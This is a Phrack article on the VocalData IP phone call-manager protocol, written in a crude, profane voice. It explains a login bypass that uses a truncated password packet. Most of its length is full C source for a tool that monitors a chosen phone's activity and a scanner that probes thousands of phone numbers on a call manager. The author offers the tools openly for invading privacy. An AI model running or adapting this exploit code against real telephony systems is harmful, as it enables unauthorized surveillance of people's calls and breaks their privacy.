                            ==Phrack Inc.==

               Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x0f

|=----------=[ Monitoring IP Phone Activity Through VocalData ]=--------=|
|=----------------------------------------------------------------------=|
|=--------------------------=[ tr4shc4n m4n ]=--------------------------=|


1 - Introduction

2 - Protocol Details
	2.1 - Overview
	2.2 - Message Structure

3 - Conclusion

4 - Attached Source Code
	4.1 - Monitor
	4.2 - Scanner



--[ 1. Introduction


hidey ho kids. Today we learn a little bit about vocaldata software and
how it affects our ability to watch the calls you make through your IP
phones. VocalData (www.vocaldata.com) makes a certain program that kicks
ass, and it runs on Call Managers. This program listens to port 28784
UDP and tells the Call Manager in what way to manipulate IP Phones based
upon the information it receives over the network. Here is a picture:

     8=> ()

It is of a small penis looking at two parenthesis. Anyways, here is how
this program works.




--[ 2. Protocol Details

----[ 2.1 Overview

A client sends an initiation packet from port 28785 to 28784 on the CM.
Then the client sends some authentication information to login. Should
this be sucessful, the CM will start sending updates on the phone that
was logged into to the client. 

I guess a better description would be:

CLIENT  ---->  SERVER
areyouthere      yes|no
login		 ok|fuckoff
getinfo		 bunchainfoforthephone

In the AYT bit, I lied. There is't a yes|no response.. just a "yes"
response... so its pretty tough to scan for these servers.

What pisses me off about the 'areyouthere' portion is you send the # of
the phone you want to log into, and it is stored in hex.. as in lets say
I want to login into 212-432-1015, the number is stored in the packet as
such:

  \xA2\x12\x43\x21\x01\x05

All the questions you have about that number I have as well, yes I
understand enough of the \xA2 part and why the 5 isn't 50 and is 05...
well... ok I dunno why.. but thats how it is damnit. If you change it the
protocol wont fucking work. 


----[ 2.2 Message Structure

\x00\x20\x00\x00\x00\x<msg size><msg>

msg size specifies the size of the message being sent, and msg is the
actual message. The first five bytes im not sure about, other then the
\x00 after the \x20 is a \x04 during the login phase.

So <msg size> is the size of the <msg> portion in hex.

A login packet looks like this:

Event,Login,Password,<insert a password here>

Now here is something really cool about the password thing. When you send
the login packet, with a bogus password, it sends you back a packet saying
that you entered a bogus password. So I sent the packet but only sent a
couple bytes and was able to log into the phone anyways. Well, at least I
could monitor the activity on the phone.




--[ 3. Conclusion

In any event, there are a couple tools here to monitor activity on IP
Phones using the vocaldata software. Good luck to your privacy-invading
ass and who knows, maybe I'll put out the code to actually control the
phones.




--[ 4. Attached Source Code

----[ 4.1 The Monitor

/*
Here is the shitty DNR type program. For those who don't know what I mean
please locate a book on telephone systems (the thicker the better) and then
have someone smash it repeatedly on your stupid head.

Usage: ./a.out <CM IP> <phone #>

CM IP is the IP of the call manager
phone # is the phone number to log

If you can actually understand my extremely shity code, you'll notice a lot
of stuff that is there that doesn't seem to work. Thats because it doesn't.
I'm still working on that and for some reason can't get the damn server to
acknowledge my control packets. But that doesn't concern me too much, lest
we have a lot of kids fuckin with too much stuff and destroying this awesome
trend in actually routing phone calls over the internet. */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int cport = 28785;
int sport = 28784;

   int csock, ssock;
   int size;
   struct sockaddr_in caddr, saddr;
   struct hostent *h;
   char *buf;

int c_index=0x00, s_index=0xFF;

struct pkt {
        char l_id;
        char r_id;
        char dunno[5];
        char size;
        char msg[255];
        };

char pre[] = "\x00\xFF\x04\x82\x02\xA7\x03\x62\x16\x42\x04\x02\x00\x01\x01";
/*                                   ^  ^^  ^^  ^^  ^^   ^  is the phone# */
char login[] = "Event,Login,Password,1234\x00";
char info[] = "Event,ButtonInfo,Get,1\x00";
char queue_set[] = "Event,Button,Button,35\x00";
char event_end[] = "Event,End\x00";
char event_boot[] = "Event,Boot\x00";
char ack[] = "\x00\x00\x00";

int send_pkt(struct pkt *m)
{
#ifdef DEBUG
printf("\nlid:%x,sid:%x,size:%x,msg:%s\n", m->l_id, m->r_id, m->size, m->msg);
   printf("bytes: %d\n", sendto(ssock, m, 8 + m->size, 0,
        (struct sockaddr *)&saddr, sizeof(saddr)));
#else
sendto(ssock, m, 8 + m->size, 0, (struct sockaddr *)&saddr, sizeof(saddr));
#endif
   c_index++;
   return 0;
}

int e_boot()
{
   struct pkt m;

   bzero(&m, sizeof(m));
   m.l_id = c_index;
   m.r_id = s_index;
   memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5);
   m.size = strlen(event_boot);
   strcpy(m.msg, event_boot);

   send_pkt(&m);
}
int e_end()
{
   struct pkt m;

   bzero(&m, sizeof(m));
   m.l_id = c_index;
   m.r_id = s_index;
   memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5);
   m.size = strlen(event_end);
   strcpy(m.msg, event_end);

   send_pkt(&m);
}

int queue()
{
   struct pkt m;

   bzero(&m, sizeof(m));
   m.l_id = c_index;
   m.r_id = s_index;
   memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5);
   m.size = strlen(queue_set);
   strcpy(m.msg, queue_set);

   send_pkt(&m);
}

int get_info()
{
   struct pkt m;

   bzero(&m, sizeof(m));
   m.l_id = c_index;
   m.r_id = s_index;
   memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5);
   m.size = strlen(info);
   strcpy(m.msg, info);

   send_pkt(&m);
}

int get_resp()
{
   int x;
   struct pkt m;

   bzero(&m, sizeof(m));
   x=recvfrom(ssock, &m, sizeof(m), 0,
        (struct sockaddr *)&caddr, &size);
   if( x != -1 ) {
#ifdef DEBUG
if(m.size == 0 ) printf("PACKET: %d\n", x);
#endif
        if(s_index == m.l_id) event_null();
        for(x=0;x<m.size;x++) if(m.msg[x] == 0x0) m.msg[x] = '.';
        for(x=0;x<strlen(m.msg);x++)
           if( ((int)m.msg[x] < 30) || ((int)m.msg > 122) ) m.msg[x] = '.';
           if(m.size != 0) printf("\nMSG[id:%d/%d,size:%x]:\n  %s\n",
                m.l_id, m.r_id, m.size, m.msg);
        s_index = m.l_id;
   }
}

int event_null()
{

   ack[0] = (int)c_index-1;
   ack[1] = (int)s_index;
   ack[2] = 0x00;
#ifdef DEBUG
printf("SENDING NULL %d/%d\n", c_index, s_index);
#endif
   if( sendto(ssock, ack, 3, 0,
        (struct sockaddr *)&saddr, sizeof(saddr)) < 0 )
      printf("send error\n");

}

int pre_auth()
{
   int x, len=295;

   if( sendto(ssock, pre, 15, 0,
        (struct sockaddr *)&saddr, sizeof(saddr)) < 0 )
      printf("send error\n");

   buf = (char *)malloc(120);
#ifdef DEBUG
printf("Waiting for response...\n");
#endif
   if( recvfrom(ssock, buf, len, 0,
        (struct sockaddr *)&caddr, &size) < 0 )
        printf("recv error\n");
#ifdef DEBUG
        for(x=0;x<len;x++)
           if( ((int)buf[x] < 30) || ((int)buf[x] > 122) ) buf[x] = '.';

   for(x=0;x<len;x++) printf("%c", buf[x] & 0xff);
#endif

}
int do_login()
{
   struct pkt m;

   bzero(&m, sizeof(m));
   m.l_id = 0x00;
   m.r_id = 0xff;
   memcpy(&m.dunno, "\x04\x20\x00\x00\x00", 5);
   m.size = 2; /*strlen(login);*/
   strcpy(m.msg, login);

   send_pkt(&m);
}

int getnum(char *num)
{
   int number[10], x;
   char buf[11];

   strcpy(buf, num);
   for(x=0;x<strlen(buf);x++)
      number[x] = (int)buf[x] - 48;

   pre[5] = 0xA0 | number[0];
   pre[6] = (number[1]*16) | number[2];
   pre[7] = (number[3]*16) | number[4];
   pre[8] = (number[5]*16) | number[6];
   pre[9] = (number[7]*16) | number[8];
   pre[10] = number[9];

   printf("Logging into: ");
   for(x=5;x<11;x++)
      printf("%02X", pre[x] & 0xff);
   printf("...\n");
}

int main(int argc, char *argv[])
{
   int x=0;
   char c;
   fd_set fset;
   struct timeval tp;

   if( argc < 3 ) {
        printf("Usage: ./a.out <CM IP> <phone #>\n");
        return 0;
        }

   ssock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);

   saddr.sin_family = AF_INET;
   saddr.sin_addr.s_addr = inet_addr(argv[1]);
   saddr.sin_port = htons(sport);

   caddr.sin_family = AF_INET;
   caddr.sin_addr.s_addr = htonl(INADDR_ANY);
   caddr.sin_port = htons(cport);

   bind(ssock, (struct sockaddr *)&caddr, sizeof(caddr));

   tp.tv_usec = tp.tv_sec = 0;

getnum(argv[2]);
pre_auth();
do_login();

   fflush(stdin);
for(x=0;x!=1;){
   FD_ZERO(&fset);
   FD_SET(ssock, &fset);
   FD_SET(0, &fset);

   switch( select(ssock+1, &fset, 0, 0, 0) ) {
      case -1: printf("eh?"); break;
      case 0: break;
      default:
        if( FD_ISSET(0, &fset) )
           switch( getchar() ) {
              case 'q': x=1; break;
              case 'a': queue(); break;
              case 'n': event_null(); break;
              case 'g': get_info(); break;
              case 'i': printf("US:%d,THEM:%d\n", c_index, s_index); break;
              case 'b': e_boot(); break;
              case 'e': e_end(); break;
              default: break;
           }
        if( FD_ISSET(ssock, &fset) ) get_resp();
        break;
}
}
e_end();
   close(ssock);
}



----[ 4.2 The Scanner

/*
Here is the shitty little scanner. Don't bitch.

Usage: ./a.out <starting #> <CM IP>

starting # is the number <xxx-xxx-xxxx(without the '-')> you want to scan
CM IP is the IP address of the call manager running vocaldata
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>


int cport = 28785;
int sport = 28784;

   int csock, ssock;
   int size;
   struct sockaddr_in caddr, saddr;
   struct hostent *h;
   char *buf;

int c_index=0x00, s_index=0xFF;

struct pkt {
        char l_id;
        char r_id;
        char dunno[5];
        char size;
        char msg[255];
        };


char pre[] = "\x00\xFF\x04\x82\x02\xA0\x00\x00\x00\x00\x00\x02\x00\x01\x01";
/*                                   ^  ^^  ^^  ^^  ^^   ^  is the phone# */

int pre_auth()
{
   int x, len=350;
   struct timeval tp;

   /* Clean out our recv queue cuz I think we may have extra shit
      in there after a positive match */
   tp.tv_usec = 50; tp.tv_sec = 0;
   setsockopt(ssock, SOL_SOCKET, SO_RCVTIMEO, &tp, sizeof(tp));
   size = sizeof(caddr);
   while( recvfrom(ssock, buf, len, 0,
        (struct sockaddr *)&caddr, &size) != -1 );

   /* Send out our packet */
   if( sendto(ssock, pre, 15, 0,
        (struct sockaddr *)&saddr, sizeof(saddr)) < 0 )
      printf("send error\n");

   /* Reset the timeout value and wait for a response */
   tp.tv_usec = 0; tp.tv_sec = 1;
   setsockopt(ssock, SOL_SOCKET, SO_RCVTIMEO, &tp, sizeof(tp));

   buf = (char *)malloc(len);
   bzero(buf, len);
   if( recvfrom(ssock, buf, len, 0,
        (struct sockaddr *)&caddr, &size) != -1 )
        {
        printf("(");
        for(x=82;x<len;x++)
                if( ((int)buf[x] >= 0x21) && ((int)buf[x] <= 0x7a) )
                   printf("%c", buf[x] & 0xff);
        printf(")\n");
        }
   free(buf);
}

int getnum(char *num)
{
   int number[10], x;
   char buf[11];

   strcpy(buf, num);
   for(x=0;x<strlen(buf);x++)
      number[x] = (int)buf[x] - 48;

   pre[5] = 0xA0 | number[0];
   pre[6] = (number[1]*16) | number[2];
   pre[7] = (number[3]*16) | number[4];
   pre[8] = (number[5]*16) | number[6];
   pre[9] = (number[7]*16) | number[8];
   pre[10] = number[9];

/*
   for(x=5;x<11;x++)
      printf("%02X", pre[x] & 0xff);
*/

}

int incr(char *c, int x)
{
   if(c[x] == '9') { c[x] = '0'; incr(c, x-1); }
   else (int)c[x]++;
}

int main(int argc, char *argv[])
{
   int x=0;
   char *num;

   if( argc < 3 ) {
        printf("./a.out <starting number> <CM ip addr>\n");
        return 0;
        }

   ssock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);

   saddr.sin_family = AF_INET;
   saddr.sin_addr.s_addr = inet_addr(argv[2]);
   saddr.sin_port = htons(sport);

   caddr.sin_family = AF_INET;
   caddr.sin_addr.s_addr = htonl(INADDR_ANY);
   caddr.sin_port = htons(cport);

   bind(ssock, (struct sockaddr *)&caddr, sizeof(caddr));

   num = (char *)malloc(10);
   strcpy(num, argv[1]);
   printf("Starting scan at %s\n", num);
   for(x=0;x<10000;x++) {
        getnum(num);
        pre_auth();
        incr(num, 9);
   }
}


|=[ EOF ]=---------------------------------------------------------------=|
